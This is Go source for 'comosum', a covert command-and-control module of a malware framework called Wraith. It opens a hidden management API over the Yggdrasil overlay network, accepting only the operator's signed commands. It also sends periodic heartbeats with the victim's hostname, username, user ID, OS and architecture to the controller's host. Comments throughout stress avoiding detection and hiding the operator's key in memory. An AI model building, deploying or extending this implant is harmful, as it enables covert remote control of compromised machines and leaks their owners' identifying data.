package wraith_module_comosum import ( "bytes" "context" "crypto/ed25519" "fmt" "io" "math/rand" "net" "net/http" "net/url" "os" "os/user" "runtime" "sync" "time" "dev.l1qu1d.net/wraith-labs/wraith/libwraith" "dev.l1qu1d.net/wraith-labs/wraith_module_comosum/internal/radio" "github.com/awnumar/memguard" "github.com/gologme/log" "github.com/yggdrasil-network/yggdrasil-go/src/address" ) const ( MOD_NAME = "w.comosum" ) // A comms module implementation which utilises signed CBOR messages to remotely // access the Wraith SHM. This module is meant as a simple default which does a // good job in most usecases. // The underlying protocol is [TCP / WS / QUIC / ... ] > Yggdrasil > HTTP > CBOR Structs. type ModuleComosum struct { // Ensures this module runs only once at a time. mutex sync.Mutex // Keeps track of when we last spoke to daddy. If it's been too long, we'll // send a heartbeat so he knows we're alive. lastSpoke time.Time // Keeps track of SHM fields the module is watching so we can receive updates // and unwatch them. watching map[struct { string int }]chan any // Configuration. // This value solely decides who has control over this module. The owner // of the matching private key will be able to set up a C2 yggdrasil node. AdminPubKey ed25519.PublicKey // The private key that should be used for this instance of Comosum on // the Yggdrasil network. This MUST NOT be hardcoded and MUST instead // be generated at runtime to prevent clashes. The key is an argument // to allow for custom generators. OwnPrivKey ed25519.PrivateKey // How long to wait after the last communication with C2 before sending // a heartbeat. We send a heartbeat on startup and C2 should be keeping // track of us so this can safely be quite a long time. Making this too // long means that, if C2 suffers state loss, it will likely not be able // to communicate with this Comosum until this timeout runs out. On the // other hand, setting the value too low can make us too chatty and // therefore detectable. 24 hours is probably a good choice. LonelinessTimeout time.Duration // Which addresses (if any) Comosum should listen on for yggdrasil // connections. Setting this makes the Wraith more detectable but might // improve its chances of successfully connecting to C2. Listen []string // Whether or not Comosum should use multicast to find other Comosum // Wraiths on the local network. Setting this makes the Wraith more detectable // but might improve its chances of successfully connecting to C2. UseMulticast bool // Which yggdrasil peers (if any) Comosum should immediately connect to on // startup. Note that leaving this blank makes it very difficult for commands // to reach Comosum, and impossible if the listener and multicast options are // disabled. On the other hand, more peers means more network traffic // and higher chances of detection. StaticPeers []string // Enable some debugging features like logging and the admin endpoint. DO NOT // leave enabled in deployed instances. To disable, use "none". Debug string } func (m *ModuleComosum) Mainloop(ctx context.Context, w *libwraith.Wraith) { // // Misc setup. // // Ensure this instance is only started once and mark as running if so. single := m.mutex.TryLock() if !single { panic(fmt.Errorf("%s already running", MOD_NAME)) } defer m.mutex.Unlock() // Ensure the admin public key is protected in memory. We don't want to make it // too easy to find out who is at the wheel now, do we? defer memguard.Purge() // Make sure keys are valid. if keylen := len(m.OwnPrivKey); keylen != ed25519.PrivateKeySize { panic(fmt.Errorf("[%s] incorrect private key size (is %d, should be %d)", MOD_NAME, keylen, ed25519.PublicKeySize)) } if keylen := len(m.AdminPubKey); keylen != ed25519.PublicKeySize { panic(fmt.Errorf("[%s] incorrect admin key size (is %d, should be %d)", MOD_NAME, keylen, ed25519.PublicKeySize)) } // Who's your daddy? daddyIP := memguard.NewEnclave(net.IP(address.AddrForKey(m.AdminPubKey)[:]).To16()) daddyPubKey := memguard.NewEnclave(m.AdminPubKey) memguard.ScrambleBytes(m.AdminPubKey) var err error // Disable Yggdrasil logging unless debug mode is enabled - we don't // want to give away any info. logger := log.New(io.Discard, "", log.Flags()) if m.Debug != "none" { logger = log.New(os.Stdout, MOD_NAME, log.Flags()) } // // Create and start an Yggdrasil node. // // Set up Yggdrasil. n := radio.NewNode(logger) n.GenerateConfig(m.Listen, m.StaticPeers, m.Debug) if err = n.Run(); err != nil { logger.Fatalln(err) } addr, _ := n.Address() // Set up userspace network stack to handle Yggdrasil packets. s, err := radio.CreateYggdrasilNetstack(n) if err != nil { panic(err) } // Create a special HTTP client that can send requests over Yggdrasil. yggHttpClient := http.Client{ Transport: &http.Transport{ ForceAttemptHTTP2: true, DialContext: s.DialContext, }, } // // Set up and start management API. // port := rand.Intn( radio.MGMT_LISTEN_PORT_MAX-radio.MGMT_LISTEN_PORT_MIN, ) + radio.MGMT_LISTEN_PORT_MIN tcpListener, _ := s.ListenTCP(&net.TCPAddr{Port: port}) mux := http.NewServeMux() mux.HandleFunc("/", func(res http.ResponseWriter, req *http.Request) { daddyIPBytes, _ := daddyIP.Open() daddyPubKeyBytes, _ := daddyPubKey.Open() defer daddyIPBytes.Destroy() defer daddyPubKeyBytes.Destroy() // Verify that the connection is coming from C2. remoteAddr, _, _ := net.SplitHostPort(req.RemoteAddr) if remoteAddr != net.IP(daddyIPBytes.Bytes()).String() { // You're not my daddy! res.WriteHeader(http.StatusForbidden) return } // Get the request body. body, err := io.ReadAll(req.Body) if err != nil { res.WriteHeader(http.StatusBadRequest) return } requestData := radio.PacketExchangeReq{} err = radio.Unmarshal(&requestData, daddyPubKeyBytes.Bytes(), body) if err != nil { // The packet data is malformed, there is nothing more we // can do. res.WriteHeader(http.StatusBadRequest) return } responseData := radio.PacketExchangeRes{} // Set. if len(requestData.Set) != 0 { result := []string{} for key, value := range requestData.Set { w.SHMSet(key, value) result = append(result, key) } responseData.Set = result } // Get. if len(requestData.Get) != 0 { result := map[string]any{} for _, key := range requestData.Get { result[key] = w.SHMGet(key) } responseData.Get = result } // Watch. if len(requestData.Watch) != 0 { result := map[string]int{} for _, key := range requestData.Watch { channel, watchId := w.SHMWatch(key) // Keep track of this watch internally. m.watching[struct { string int }{ key, watchId, }] = channel result[key] = watchId } responseData.Watch = result } // Unwatch. if len(requestData.Unwatch) != 0 { result := []struct { CellName string WatchId int }{} for _, key := range requestData.Unwatch { w.SHMUnwatch(key.CellName, key.WatchId) result = append(result, key) // Delete internal record of this watch. delete(m.watching, struct { string int }{ key.CellName, key.WatchId, }) result = append(result, key) } responseData.Unwatch = result } // Dump. if requestData.Dump { responseData.Dump = w.SHMDump() } // Prune. if requestData.Prune { responseData.Prune = w.SHMPrune() } // Respond! responseDataBytes, err := radio.Marshal(&responseData, m.OwnPrivKey) if err != nil { w.SHMSet(libwraith.SHM_ERRS, fmt.Errorf("marshalling response failed: %e", err)) return } res.Write(responseDataBytes) res.WriteHeader(http.StatusOK) // Update last spoke time so we don't send unnecessary heartbeats. m.lastSpoke = time.Now() }) server := http.Server{ Addr: ":0", Handler: mux, DisableGeneralOptionsHandler: true, } if m.Debug != "none" { logger.Info(fmt.Printf("management API listening on http://[%s]:%d\n", addr.String(), port)) } var wg sync.WaitGroup wg.Add(2) go func() { defer wg.Done() server.Serve(tcpListener) }() // Heartbeat loop. go func() { defer wg.Done() // Cache some values used in the heartbeat. strain := w.GetStrainId() initTime := w.GetInitTime() hostname, err := os.Hostname() if err != nil { hostname = "" } username := "" userId := "" currentUser, err := user.Current() if err == nil { username = currentUser.Username userId = currentUser.Uid } for { timeUntilHeartbeat := m.lastSpoke.Add(m.LonelinessTimeout).Sub(time.Now()) // Send heartbeat after interval or exit if requested. select { case <-ctx.Done(): return case <-time.After(timeUntilHeartbeat): func() { // Update last spoke time so we don't spam C2 with requests. defer func() { m.lastSpoke = time.Now() }() daddyIP, _ := daddyIP.Open() defer daddyIP.Destroy() // Build a heartbeat data packet. heartbeatData := radio.PacketHeartbeatReq{ StrainId: strain, InitTime: initTime, Modules: w.ModsGet(), HostOS: runtime.GOOS, HostArch: runtime.GOARCH, Hostname: hostname, HostUser: username, HostUserId: userId, ManagementAPI: fmt.Sprint("http://[%s]:%d", addr.String(), port), } heartbeatBytes, err := radio.Marshal(&heartbeatData, m.OwnPrivKey) if err != nil { panic("error while marshaling heartbeat data, cannot continue: " + err.Error()) } // Build a request to send the packet. req := http.Request{ Method: http.MethodPost, URL: &url.URL{ Scheme: "http", Host: fmt.Sprintf("[%s]:%d", net.IP(daddyIP.Bytes()).String(), radio.C2_PORT), Path: radio.ROUTE_PREFIX + radio.ROUTE_HEARTBEAT, }, Header: http.Header{}, Cancel: ctx.Done(), Body: io.NopCloser(bytes.NewReader(heartbeatBytes)), } req.Header.Set("User-Agent", fmt.Sprintf("wraith_module_comosum/%s", radio.CURRENT_PROTO)) // Send request to C2. // We explicitly don't care about the result of this request. // If it succeeded, great. If it failed, there's nothing we can do here. _, _ = yggHttpClient.Do(&req) }() } } }() // // Cleanup. // // Block until we need to shut down. <-ctx.Done() server.Close() tcpListener.Close() n.Close() // Block until all goroutines have exited. wg.Wait() } // Return the name of this module. func (m *ModuleComosum) WraithModuleName() string { return MOD_NAME }